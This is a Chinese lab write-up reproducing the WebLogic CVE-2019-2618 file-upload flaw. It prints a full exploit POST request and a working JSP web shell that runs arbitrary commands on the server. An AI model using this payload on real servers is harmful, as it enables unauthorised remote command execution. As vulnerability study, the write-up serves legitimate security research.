当前位置: 代码迷 >> 综合 >> WebLogic 任意文件上传(CVE-2019-2618)漏洞复现
  详细解决方案

WebLogic 任意文件上传(CVE-2019-2618)漏洞复现

热度:95   发布时间:2023-12-25 06:48:45.0

WebLogic任意文件上传(CVE-2019-2618)漏洞复现

一、漏洞概述

1、漏洞编号:CVE-2019-2618

2、漏洞描述:CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

3、受影响WebLogic版本:10.3.6.0、12.1.3.0、12.2.1.3。

二、环境搭建与漏洞复现

1、攻击机与靶机

攻击机:物理机;

靶机:Windows server 2003虚拟机,配置Java环境,并安装weblogic 10.3.6.0;

2、靶机的环境配置见之前写的一篇文章,配置环境的过程是一致的;

Weblogic XMLDecoder 反序列化(CVE-2017-10271)漏洞复现

(https://blog.csdn.net/qq_38684504/article/details/96482986)

【也可以使用docker搭建Linux版本的环境】

3、漏洞复现;

3.1> 漏洞前提是需要先知道weblogic的账号密码。(安装时设置的账户和密码为weblogic/12345.com)

3.2> 漏洞验证

构造的POST包如下所示:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: 192.168.37.136:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: ../tmp/_WL_internal/bea_wls_deployment_internal/gyuitk/war
serverName: weblogic
password: 12345.com
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1083------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell.jsp"; filename="shell1.jsp"
Content-Type: false<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p;if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));}else{p = Runtime.getRuntime().exec(request.getParameter("cmd"));}OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}
}
%>
</pre>
</BODY></HTML> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

3.3> 发送数据包 ,返回了上传文件的地址;

3.4> 去访问发现执行成功;

三、漏洞修复

Oracle官方已经在关键补丁更新中修复了该漏洞。

四、参考文献

https://www.cnblogs.com/zhengjim/p/10815150.html

  相关解决方案